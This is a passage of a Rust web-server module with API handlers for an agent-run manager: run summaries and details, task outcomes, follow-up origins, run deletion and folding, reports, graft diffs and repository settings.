3973 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3974 blocking(move || {
3975 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3976 let states = run_ids(&ui.runs)
3977 .into_iter()
3978 .filter_map(|id| read_run(&ui.runs, &id).ok())
3983 .take(limit)
3984 .filter(|run| q.contains(&run.id));
3985 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3986 let summaries = summarize(
3987 states,
3988 &open_runs,
3989 &claimed,
3990 &superseded,
3991 |p| probe.borrow_mut().status(p),
3992 |p| probe.borrow_mut().started_at(p),
3993 );
3994 Ok(Json(summaries))
3995 })
3996 .await
3997}
3998
3999fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
4004 let open_runs: HashSet<String> = ui
4005 .questions
4006 .list()
4007 .into_iter()
4008 .filter(|q| q.status.open())
4009 .map(|q| q.run)
4010 .collect();
4011 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
4012 .into_iter()
4013 .map(|c| c.run)
4014 .collect();
4015 (open_runs, claimed, ui.queue.superseded())
4016}
4017
4018fn summarize<I, S, D>(
4024 states: I,
4025 open_runs: &HashSet<String>,
4026 claimed: &HashSet<String>,
4027 superseded: &HashMap<String, String>,
4028 mut status_q: S,
4029 mut identity_q: D,
4030) -> Vec<RunSummary>
4031where
4032 I: IntoIterator<Item = RunState>,
4033 S: FnMut(u32) -> Option<bool>,
4034 D: FnMut(u32) -> Option<String>,
4035{
4036 states
4037 .into_iter()
4038 .map(|state| {
4039 let waiting = open_runs.contains(&state.id);
4040 let live =
4041 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4042 let mut row = RunSummary::of(&state, waiting, live);
4043 row.superseded_by = state
4044 .pr_taken_over_by
4045 .as_ref()
4046 .or_else(|| superseded.get(&state.id))
4047 .map(String::as_str)
4048 .map(crate::run::short_of)
4049 .map(str::to_owned);
4050 row.badge_status = run_badge_status(
4051 &state,
4052 &row.display_status,
4053 live,
4054 row.superseded_by.is_some(),
4055 );
4056 row
4057 })
4058 .collect()
4059}
4060
4061#[derive(Debug, Serialize)]
4068struct RunDetailView {
4069 progress: crate::run_progress::Progress,
4070 stop_reason: Option<String>,
4071 #[serde(flatten)]
4072 state: RunState,
4073 instruction_md: Vec<md::Node>,
4074 #[serde(flatten)]
4078 prose_md: RunProseMd,
4079 live: crate::run::Liveness,
4094 unmerged_by_design: bool,
4099 #[serde(default)]
4101 waiting: bool,
4102 #[serde(default)]
4104 display_status: String,
4105 #[serde(default)]
4107 badge_status: String,
4108 done: bool,
4113 superseded_by: Option<String>,
4121 latest_attempt: Option<LatestAttempt>,
4135 task: Option<TaskRef>,
4138 origin_label: String,
4142 pass_views: Vec<PassView>,
4145}
4146
4147#[derive(Debug, Serialize)]
4149struct TaskRef {
4150 id: String,
4151 short: String,
4152 title: String,
4153 source_label: String,
4155 source_link: Option<SourceLink>,
4157 status: &'static str,
4159 attempts: usize,
4160 max_attempts: usize,
4161 is_latest: bool,
4163 latest: Option<RunBrief>,
4165 finished_by: Option<RunBrief>,
4167 closed_by_hand: bool,
4169}
4170
4171#[derive(Debug, PartialEq, Eq, Serialize)]
4173struct SourceLink {
4174 kind: &'static str,
4176 id: String,
4178 href: String,
4180}
4181
4182fn encode_segment(raw: &str) -> String {
4184 let mut out = String::with_capacity(raw.len());
4185 for b in raw.bytes() {
4186 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4187 out.push(b as char);
4188 } else {
4189 out.push_str(&format!("%{b:02X}"));
4190 }
4191 }
4192 out
4193}
4194
4195fn source_link(source: &Source) -> Option<SourceLink> {
4199 let Source::Agent { run, node } = source else {
4200 return None;
4201 };
4202 let (kind, route) = if node == crate::queue::CHAT_NODE {
4203 ("chat", "chat")
4204 } else {
4205 ("run", "runs")
4206 };
4207 Some(SourceLink {
4208 kind,
4209 id: run.clone(),
4210 href: id_links::page_href(route, run),
4211 })
4212}
4213
4214#[derive(Debug, Serialize, PartialEq)]
4216struct FollowUpParent {
4217 id: String,
4218 short: String,
4219 title: String,
4220 status: &'static str,
4222 href: String,
4223}
4224
4225#[derive(Debug, Serialize, PartialEq)]
4227struct FollowUpRun {
4228 id: String,
4229 short: String,
4230 status: Option<&'static str>,
4232 href: Option<String>,
4234}
4235
4236#[derive(Debug, Serialize, PartialEq)]
4239struct FollowUpOrigin {
4240 parent: Option<FollowUpParent>,
4242 run: FollowUpRun,
4243 pr: String,
4248 findings: Vec<String>,
4249 generation: u32,
4250}
4251
4252fn followup_origin(
4255 fu: &crate::queue::FollowUp,
4256 task: impl Fn(&str) -> Option<Task>,
4257 run: impl Fn(&str) -> Option<RunState>,
4258) -> FollowUpOrigin {
4259 let parent = fu
4260 .origin_task
4261 .as_deref()
4262 .and_then(task)
4263 .map(|t| FollowUpParent {
4264 short: t.short().to_owned(),
4265 href: format!("#/tasks/{}", encode_segment(&t.id)),
4266 status: t.status.as_str(),
4267 title: t.title,
4268 id: t.id,
4269 });
4270 let state = run(&fu.run);
4271 FollowUpOrigin {
4272 parent,
4273 run: FollowUpRun {
4274 short: run::short_of(&fu.run).to_owned(),
4275 status: state.as_ref().map(|s| s.status.as_str()),
4276 href: state
4277 .is_some()
4278 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4279 id: fu.run.clone(),
4280 },
4281 pr: fu.pr.clone(),
4282 findings: fu.findings.clone(),
4283 generation: fu.generation,
4284 }
4285}
4286
4287#[derive(Debug, Serialize)]
4289struct RunBrief {
4290 id: String,
4291 short: String,
4292 status: Option<&'static str>,
4294 outcome: String,
4296 badge: Option<String>,
4298}
4299
4300fn task_outcome(
4303 task: &Task,
4304 this_run: &str,
4305 max_attempts: usize,
4306 read: impl Fn(&str) -> Option<RunState>,
4307) -> TaskRef {
4308 let max_attempts = task.effective_attempt_limit(max_attempts);
4309 let history = task_history(task, read);
4310 let brief = |h: &TaskRunView| RunBrief {
4311 id: h.id.clone(),
4312 short: h.short.clone(),
4313 status: h.status,
4314 outcome: h.exit.edge_label(h.status),
4315 badge: h.badge.clone(),
4316 };
4317 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4318 let latest = if is_latest {
4319 None
4320 } else {
4321 history.last().map(brief)
4322 };
4323 let done = task.status == TaskStatus::Done;
4324 let finished_by = done
4325 .then(|| {
4326 history
4327 .iter()
4328 .rev()
4329 .find(|h| {
4330 matches!(
4331 h.exit,
4332 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4333 )
4334 })
4335 .map(brief)
4336 })
4337 .flatten();
4338 TaskRef {
4339 short: task.short().to_owned(),
4340 title: task.title.clone(),
4341 id: task.id.clone(),
4342 source_label: task.source.label(),
4343 source_link: source_link(&task.source),
4344 status: task.status.as_str(),
4345 attempts: task.attempts,
4346 max_attempts,
4347 is_latest,
4348 latest,
4349 closed_by_hand: done && finished_by.is_none(),
4350 finished_by,
4351 }
4352}
4353
4354#[derive(Debug, Serialize)]
4356struct LatestAttempt {
4357 id: String,
4358 short: String,
4359 resolved: bool,
4370 status: RunStatus,
4373 done: bool,
4375}
4376
4377#[derive(Debug, Default, Serialize)]
4379struct RunProseMd {
4380 advice_md: Option<AdviceMd>,
4382 candidate_summaries_md: Vec<Vec<md::Node>>,
4384 reviews_md: Vec<RoundMd>,
4386}
4387
4388#[derive(Debug, Default, Serialize)]
4389struct AdviceMd {
4390 synthesis: Vec<md::Node>,
4391 approaches: Vec<Vec<md::Node>>,
4393}
4394
4395#[derive(Debug, Default, Serialize)]
4396struct RoundMd {
4397 reviewers: Vec<ReviewerMd>,
4399 reconsideration: Vec<Vec<md::Node>>,
4401 fix: Option<FixMd>,
4402}
4403
4404#[derive(Debug, Default, Serialize)]
4405struct ReviewerMd {
4406 summary: Vec<md::Node>,
4407 findings: Vec<Vec<md::Node>>,
4409}
4410
4411#[derive(Debug, Default, Serialize)]
4412struct FixMd {
4413 notes: Vec<md::Node>,
4414 rejected: Vec<Vec<md::Node>>,
4416}
4417
4418fn run_prose_md(state: &RunState) -> RunProseMd {
4420 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4421 RunProseMd {
4422 advice_md: state.advice.as_ref().map(|a| AdviceMd {
4423 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4424 approaches: a
4425 .records
4426 .iter()
4427 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4428 .collect(),
4429 }),
4430 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4431 reviews_md: state
4432 .reviews
4433 .iter()
4434 .map(|round| RoundMd {
4435 reviewers: round
4436 .reviews
4437 .iter()
4438 .map(|rec| ReviewerMd {
4439 summary: nodes(&rec.summary),
4440 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4441 })
4442 .collect(),
4443 reconsideration: round
4444 .reconsideration
4445 .iter()
4446 .map(|rv| nodes(&rv.reason))
4447 .collect(),
4448 fix: round.fix.as_ref().map(|fix| FixMd {
4449 notes: nodes(&fix.notes),
4450 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4451 }),
4452 })
4453 .collect(),
4454 }
4455}
4456
4457impl RunDetailView {
4458 fn of(
4459 state: RunState,
4460 waiting: bool,
4461 live: crate::run::Liveness,
4462 superseded_by: Option<String>,
4463 latest_attempt: Option<LatestAttempt>,
4464 task: Option<TaskRef>,
4465 ) -> Self {
4466 let display_status = run_display_status(&state, waiting, live);
4467 let stop_reason = crate::stop_reason::of(
4468 &state,
4469 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4470 );
4471 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4472 Self {
4473 progress: crate::run_progress::build(&state, live, waiting),
4474 stop_reason,
4475 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4476 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4477 prose_md: run_prose_md(&state),
4478 origin_label: crate::run::origin_label(state.origin.as_ref()),
4479 live,
4480 unmerged_by_design: state.unmerged_by_design(),
4481 waiting,
4482 display_status,
4483 badge_status,
4484 done: state.status.done(),
4485 superseded_by,
4486 latest_attempt,
4487 task,
4488 state,
4489 }
4490 }
4491}
4492
4493async fn run_core(
4495 State(ui): State<Arc<Ui>>,
4496 Path(id): Path<String>,
4497) -> ApiResult<Json<RunDetailView>> {
4498 blocking(move || {
4499 let id = resolve_run(&ui.runs, &id)?;
4500 let state = read_run(&ui.runs, &id)?;
4501 Ok(Json(RunDetailView::of(
4502 state,
4503 false,
4504 crate::run::Liveness::Unknown,
4505 None,
4506 None,
4507 None,
4508 )))
4509 })
4510 .await
4511}
4512
4513async fn run_progress(
4515 State(ui): State<Arc<Ui>>,
4516 Path(id): Path<String>,
4517) -> ApiResult<Json<serde_json::Value>> {
4518 blocking(move || {
4519 let id = resolve_run(&ui.runs, &id)?;
4520 let state = read_run(&ui.runs, &id)?;
4521 let live = state.liveness(crate::daemon::is_working_on(
4522 &ui.home,
4523 &id,
4524 Timestamp::now(),
4525 ));
4526 let waiting = !ui.questions.open_for(&id).is_empty();
4527 Ok(Json(serde_json::json!({
4528 "id": id, "updated_at": state.updated_at, "live": live,
4529 "observed_at": Timestamp::now(),
4530 "progress": crate::run_progress::build(&state, live, waiting),
4531 })))
4532 })
4533 .await
4534}
4535
4536async fn run_detail(
4537 State(ui): State<Arc<Ui>>,
4538 Path(id): Path<String>,
4539) -> ApiResult<Json<RunDetailView>> {
4540 blocking(move || {
4541 let id = resolve_run(&ui.runs, &id)?;
4542 let state = read_run(&ui.runs, &id)?;
4543 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4544 let live = state.liveness(daemon_claims);
4545 crate::queue::record_ids(ui.questions.root(), "json")?;
4546 let waiting = ui
4547 .questions
4548 .list()
4549 .iter()
4550 .any(|q| q.run == id && q.status.open());
4551 let max_attempts = daemon::Opts::default().max_attempts;
4552
4553 let matching_task = ui.find_task_for_run(&id)?;
4554
4555 let superseded_by = state
4556 .pr_taken_over_by
4557 .clone()
4558 .or_else(|| {
4559 matching_task
4560 .as_ref()
4561 .and_then(|t| t.successor_of(&id).cloned())
4562 })
4563 .as_deref()
4564 .map(crate::run::short_of)
4565 .map(str::to_owned);
4566
4567 let latest_attempt = matching_task
4571 .as_ref()
4572 .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4573 .and_then(|head_id| {
4574 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4575 short: head.short().to_owned(),
4576 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4577 status: head.status,
4578 done: head.status.done(),
4579 id: head.id,
4580 })
4581 });
4582
4583 let task = matching_task
4584 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4585
4586 Ok(Json(RunDetailView::of(
4587 state,
4588 waiting,
4589 live,
4590 superseded_by,
4591 latest_attempt,
4592 task,
4593 )))
4594 })
4595 .await
4596}
4597
4598async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4607 let (id, unreadable) = {
4608 let ui = Arc::clone(&ui);
4609 blocking(move || {
4610 let id = resolve_run(&ui.runs, &id)?;
4611 match read_run(&ui.runs, &id) {
4612 Ok(state) => {
4613 let in_flight =
4614 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4615 state
4616 .ensure_can_delete(in_flight)
4617 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4618 let dir = ui.runs.join(&id);
4619 std::fs::remove_dir_all(&dir)
4620 .with_context(|| format!("remove run directory {}", dir.display()))?;
4621 Ok((id, false))
4622 }
4623 Err(_) => {
4624 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4628 return Err(ApiError::conflict(format!(
4629 "run {id} is being worked on by a live daemon right now"
4630 )));
4631 }
4632 Ok((id, true))
4633 }
4634 }
4635 })
4636 .await?
4637 };
4638 if unreadable {
4639 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4640 .await
4641 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4642 }
4643 let ui = Arc::clone(&ui);
4644 let done = id.clone();
4645 blocking(move || {
4646 ui.questions.abandon_for_run(
4649 &done,
4650 &format!("run {done} was deleted, so nothing is waiting for this answer"),
4651 )?;
4652 Ok(())
4653 })
4654 .await?;
4655 Ok(StatusCode::NO_CONTENT)
4656}
4657
4658async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4682 let (id, state) = {
4683 let ui = Arc::clone(&ui);
4684 blocking(move || {
4685 let id = resolve_run(&ui.runs, &id)?;
4686 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4687 return Err(ApiError::conflict(format!(
4688 "run {id} is being worked on by a live daemon right now"
4689 )));
4690 }
4691 let state = read_run(&ui.runs, &id).ok();
4692 Ok((id, state))
4693 })
4694 .await?
4695 };
4696 let removed = match state {
4697 Some(mut state) => {
4698 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4699 .await
4700 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4701 if removed.is_empty() {
4706 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4707 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4708 }
4709 removed
4710 }
4711 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4712 .await
4713 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4714 };
4715 Ok(Json(FoldView {
4716 run: id,
4717 removed_count: removed.len(),
4718 removed,
4719 }))
4720}
4721
4722#[derive(Debug, Serialize)]
4724struct FoldView {
4725 run: String,
4726 removed: Vec<String>,
4728 removed_count: usize,
4729}
4730
4731#[derive(Debug, Deserialize)]
4734struct FoldMergedBody {
4735 #[serde(default)]
4736 pr_url: String,
4737}
4738
4739async fn run_fold_merged(
4759 State(ui): State<Arc<Ui>>,
4760 Path(id): Path<String>,
4761 Json(body): Json<FoldMergedBody>,
4762) -> ApiResult<Json<FoldMergedView>> {
4763 let pr_url = body.pr_url.trim().to_owned();
4764 if pr_url.is_empty() {
4765 return Err(ApiError::bad_request("pr_url is required"));
4766 }
4767 let (id, mut state) = {
4768 let ui = Arc::clone(&ui);
4769 blocking(move || {
4770 let id = resolve_run(&ui.runs, &id)?;
4771 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4772 return Err(ApiError::conflict(format!(
4773 "run {id} is being worked on by a live daemon right now"
4774 )));
4775 }
4776 let state = read_run(&ui.runs, &id)?;
4777 Ok((id, state))
4778 })
4779 .await?
4780 };
4781 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4782 .await
4783 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4784 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4785 .await
4786 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4787 Ok(Json(FoldMergedView {
4788 run: id,
4789 before: before.as_str().to_owned(),
4790 after: after.as_str().to_owned(),
4791 removed,
4792 }))
4793}
4794
4795#[derive(Debug, Serialize)]
4797struct FoldMergedView {
4798 run: String,
4799 before: String,
4801 after: String,
4803 removed: Vec<String>,
4805}
4806
4807async fn run_resume(
4827 State(ui): State<Arc<Ui>>,
4828 Path(id): Path<String>,
4829) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4830 let admission = ui.begin_admission()?;
4831 admitted(admission, async move {
4832 let (id, state) = {
4833 let ui = Arc::clone(&ui);
4834 blocking(move || {
4835 let id = resolve_run(&ui.runs, &id)?;
4836 let state = read_run(&ui.runs, &id)?;
4837 Ok((id, state))
4838 })
4839 .await?
4840 };
4841 crate::resume::validate_unqueued(&ui.home, &id)
4842 .map_err(|e| ApiError::conflict(e.to_string()))?;
4843 let _resume = ui.begin_resume(&id)?;
4844
4845 crate::resume::start(&ui.home, id.clone())
4846 .await
4847 .map_err(ApiError::from)?;
4848 let queued = RunSummary::of(
4851 &state,
4852 !ui.questions.open_for(&id).is_empty(),
4853 state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4854 );
4855 Ok((StatusCode::ACCEPTED, Json(queued)))
4856 })
4857 .await
4858}
4859
4860async fn run_report(
4861 State(ui): State<Arc<Ui>>,
4862 Path(id): Path<String>,
4863) -> ApiResult<impl IntoResponse> {
4864 let text = blocking(move || {
4865 let id = resolve_run(&ui.runs, &id)?;
4866 let state = read_run(&ui.runs, &id)?;
4870 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4871 let live = state.liveness(daemon_claims);
4872 Ok(format!(
4873 "{}{}",
4874 report::run(&state),
4875 report::active_seats(&state, live)
4876 ))
4877 })
4878 .await?;
4879 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4880}
4881
4882async fn run_report_json(
4886 State(ui): State<Arc<Ui>>,
4887 Path(id): Path<String>,
4888) -> ApiResult<Json<crate::report_view::RunReportView>> {
4889 let view = blocking(move || {
4890 let id = resolve_run(&ui.runs, &id)?;
4891 let state = read_run(&ui.runs, &id)?;
4892 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4893 let recovered = state.graft.as_ref().map(|_| {
4895 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4896 });
4897 Ok(crate::report_view::build_with(
4898 &state,
4899 state.liveness(daemon_claims),
4900 recovered.as_ref(),
4901 ))
4902 })
4903 .await?;
4904 Ok(Json(view))
4905}
4906
4907async fn run_seat_evidence(
4909 State(ui): State<Arc<Ui>>,
4910 Path(id): Path<String>,
4911) -> ApiResult<impl IntoResponse> {
4912 let id = resolve_run(&ui.runs, &id)?;
4913 let heads = crate::retention::seat_heads(&ui.home, &id)
4914 .await
4915 .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4916 Ok(Json(heads))
4917}
4918
4919async fn run_seat_diff(
4920 State(ui): State<Arc<Ui>>,
4921 Path((id, head)): Path<(String, String)>,
4922) -> ApiResult<impl IntoResponse> {
4923 let id = resolve_run(&ui.runs, &id)?;
4924 let patch = crate::retention::seat_diff(&ui.home, &id, &head)
4925 .await
4926 .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4927 Ok((
4928 [
4929 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4930 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4931 ],
4932 patch,
4933 ))
4934}
4935
4936const GRAFT_DIFF_MAX: usize = 400 * 1024;
4938const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4940
4941async fn run_graft_diff(
4944 State(ui): State<Arc<Ui>>,
4945 Path(id): Path<String>,
4946) -> ApiResult<impl IntoResponse> {
4947 let (repo, pre, post) = blocking(move || {
4948 let id = resolve_run(&ui.runs, &id)?;
4949 let state = read_run(&ui.runs, &id)?;
4950 let g = state
4951 .graft
4952 .as_ref()
4953 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4954 let post = g
4955 .post
4956 .clone()
4957 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4958 Ok((state.repo.clone(), g.pre.clone(), post))
4959 })
4960 .await?;
4961 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4962 if !hex(&pre) || !hex(&post) {
4963 return Err(ApiError::not_found("the recorded commits are not valid"));
4964 }
4965 let out = tokio::time::timeout(
4966 GRAFT_DIFF_TIMEOUT,
4967 crate::git::git_raw(
4968 &repo,
4969 &[
4970 "diff",
4971 "--no-color",
4972 "--no-ext-diff",
4973 "-M",
4974 &pre,
4975 &post,
4976 "--",
4977 ],
4978 ),
4979 )
4980 .await
4981 .map_err(|_| ApiError::not_found("git diff timed out"))?
4982 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4983 if out.code != Some(0) {
4984 return Err(ApiError::not_found(
4985 "the recorded commits are no longer in the repository",
4986 ));
4987 }
4988 let mut body = out.stdout;
4989 if body.len() > GRAFT_DIFF_MAX {
4990 let mut cut = GRAFT_DIFF_MAX;
4991 while !body.is_char_boundary(cut) {
4992 cut -= 1;
4993 }
4994 body.truncate(cut);
4995 body.push_str("\n... diff truncated ...");
4996 }
4997 Ok((
4998 [
4999 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5000 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5001 ],
5002 body,
5003 ))
5004}
5005
5006#[derive(Debug, Serialize)]
5012struct TaskView {
5013 #[serde(flatten)]
5014 task: Task,
5015 source_label: String,
5016 reassignment_notes: Vec<String>,
5017 source_link: Option<SourceLink>,
5018 status_str: &'static str,
5019 instruction_md: Vec<md::Node>,
5023 waits_on: Vec<String>,
5027 stuck_roots: Vec<String>,
5030 blockers: Vec<crate::blockers::BlockerView>,
5031 recovery: Option<String>,
5032}
5033
5034impl From<Task> for TaskView {
5035 fn from(task: Task) -> Self {
5036 Self {
5037 source_label: task.source.label(),
5038 reassignment_notes: Vec::new(),
5039 source_link: source_link(&task.source),
5040 status_str: task.status.as_str(),
5041 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5042 waits_on: Vec::new(),
5043 stuck_roots: Vec::new(),
5044 blockers: Vec::new(),
5045 recovery: task_recovery(&task),
5046 task,
5047 }
5048 }
5049}
5050
5051impl TaskView {
5052 fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5053 if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5054 let pending = crate::blockers::Inventory::recovery_views(&self.task, questions);
5055 if !pending.is_empty() {
5056 self.recovery = Some(format!(
5057 "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5058 self.recovery.as_deref().unwrap_or_default()
5059 ));
5060 }
5061 for decision in pending {
5062 self.blockers.retain(|view| view.id != decision.id);
5063 self.blockers.push(decision);
5064 }
5065 }
5066 self
5067 }
5068
5069 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5070 let waits_on = inv.waits_on(&task);
5071 let stuck_roots = inv
5072 .stuck_roots(&task)
5073 .iter()
5074 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5075 .collect();
5076 Self {
5077 blockers: inv.blocker_views(&task),
5078 waits_on,
5079 stuck_roots,
5080 ..Self::from(task)
5081 }
5082 }
5083}
5084
5085fn task_recovery(task: &Task) -> Option<String> {
5086 use crate::queue::{HoldSource, TaskStatus};
5087 if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5088 return None;
5089 }
5090 let mut text = String::new();
5091 if task.status == TaskStatus::Blocked {
5092 text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5093 let restored = match task.blocked_from {
5094 Some(TaskStatus::Running) => TaskStatus::Queued,
5095 Some(status) => status,
5096 None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5097 None => TaskStatus::Queued,
5098 };
5099 text.push_str(&format!(
5100 "After all dependencies resolve, the scheduler restores {}. ",
5101 restored.as_str()
5102 ));
5103 if restored != TaskStatus::Held {
5104 return Some(text);
5105 }
5106 }
5107 text.push_str(match task.hold_source {
5108 Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5109 Some(HoldSource::Machine) if task.hold_reason.as_deref().is_some_and(crate::disk::is_gate_reason) =>
5110 "Machine disk hold: free disk space or restore measurement. Recorded disk figures describe the hold time, not current capacity. If no recovery decision is pending, triage rechecks the disk gate and can automatically queue after recovery is verified. Pending decisions must be resolved or applied first; disk admission checks still apply.",
5111 Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5112 None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5113 });
5114 Some(text)
5115}
5116
5117#[derive(Debug, Default, Deserialize)]
5120#[serde(default)]
5121struct ReposQuery {
5122 refresh: u8,
5123}
5124
5125async fn repos_list(
5132 State(ui): State<Arc<Ui>>,
5133 Query(q): Query<ReposQuery>,
5134) -> ApiResult<Json<Vec<repos::Repo>>> {
5135 let refresh = q.refresh != 0;
5136 blocking(move || {
5137 let (cfg, _) = Config::discover(&ui.repo, None)?;
5138 Ok(Json(ui.repos_cache.list(
5139 &cfg.repos.roots,
5140 Duration::from_secs(cfg.repos.scan_ttl),
5141 refresh,
5142 )))
5143 })
5144 .await
5145}
5146
5147#[derive(Debug, Default, Deserialize)]
5149struct SettingsQuery {
5150 repo: Option<PathBuf>,
5151}
5152
5153fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5157 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5158 let paths: Vec<PathBuf> = ui
5159 .machine_config
5160 .iter()
5161 .filter(|p| p.is_file())
5162 .cloned()
5163 .collect();
5164 if paths.is_empty() {
5165 Ok(Config::autodetected())
5166 } else {
5167 Config::load_layers(&paths)
5168 }
5169 });
5170 let mut known = cfg
5171 .map(|cfg| {
5172 ui.repos_cache.list(
5173 &cfg.repos.roots,
5174 Duration::from_secs(cfg.repos.scan_ttl),
5175 refresh,
5176 )
5177 })
5178 .unwrap_or_default();
5179 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5180 if !known.iter().any(|r| r.path == path) {
5181 known.push(repos::Repo {
5182 name: path
5183 .file_name()
5184 .unwrap_or_default()
5185 .to_string_lossy()
5186 .into_owned(),
5187 path,
5188 });
5189 }
5190 known
5191}
5192
5193fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5194 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5195 let canonical = requested.canonicalize().ok();
5196 let mut known = settings_repositories(ui, false);
5197 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5198 if !known.iter().any(matches) {
5199 known = settings_repositories(ui, true);
5200 }
5201 let repo = known
5202 .iter()
5203 .find(|r| matches(r))
5204 .map(|r| r.path.clone())
5205 .ok_or_else(|| ApiError {
5206 text_reason: None,
5207 status: StatusCode::UNPROCESSABLE_ENTITY,
5208 message: "Choose a known repository from the Settings selector.".to_owned(),
5209 })?;
5210 Ok((repo, known))
5211}
5212
5213async fn settings_get(
5217 State(ui): State<Arc<Ui>>,
5218 Query(q): Query<SettingsQuery>,
5219) -> ApiResult<Json<settings::SettingsView>> {
5220 blocking(move || {
5221 let (repo, known) = settings_context(&ui, q)?;
5222 Ok(Json(settings::view_with_repos(
5223 &repo,
5224 ui.machine_config.as_deref(),
5225 &known,
5226 )))
5227 })
5228 .await
5229}
5230
5231#[derive(Debug, Deserialize)]
5233#[serde(deny_unknown_fields)]
5234struct RolesBody {
5235 revision: String,
5237 #[serde(default)]
5239 roles: std::collections::BTreeMap<String, Vec<String>>,
5240 #[serde(default)]
5244 counts: std::collections::BTreeMap<String, serde_json::Value>,
5245}
5246
5247async fn settings_put_roles(
5253 State(ui): State<Arc<Ui>>,
5254 Query(q): Query<SettingsQuery>,
5255 body: std::result::Result<Json<RolesBody>, JsonRejection>,
5256) -> ApiResult<Json<settings::SettingsView>> {
5257 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5258 blocking(move || {
5259 let (repo, known) = settings_context(&ui, q)?;
5260 settings::save_with_repos(
5261 &repo,
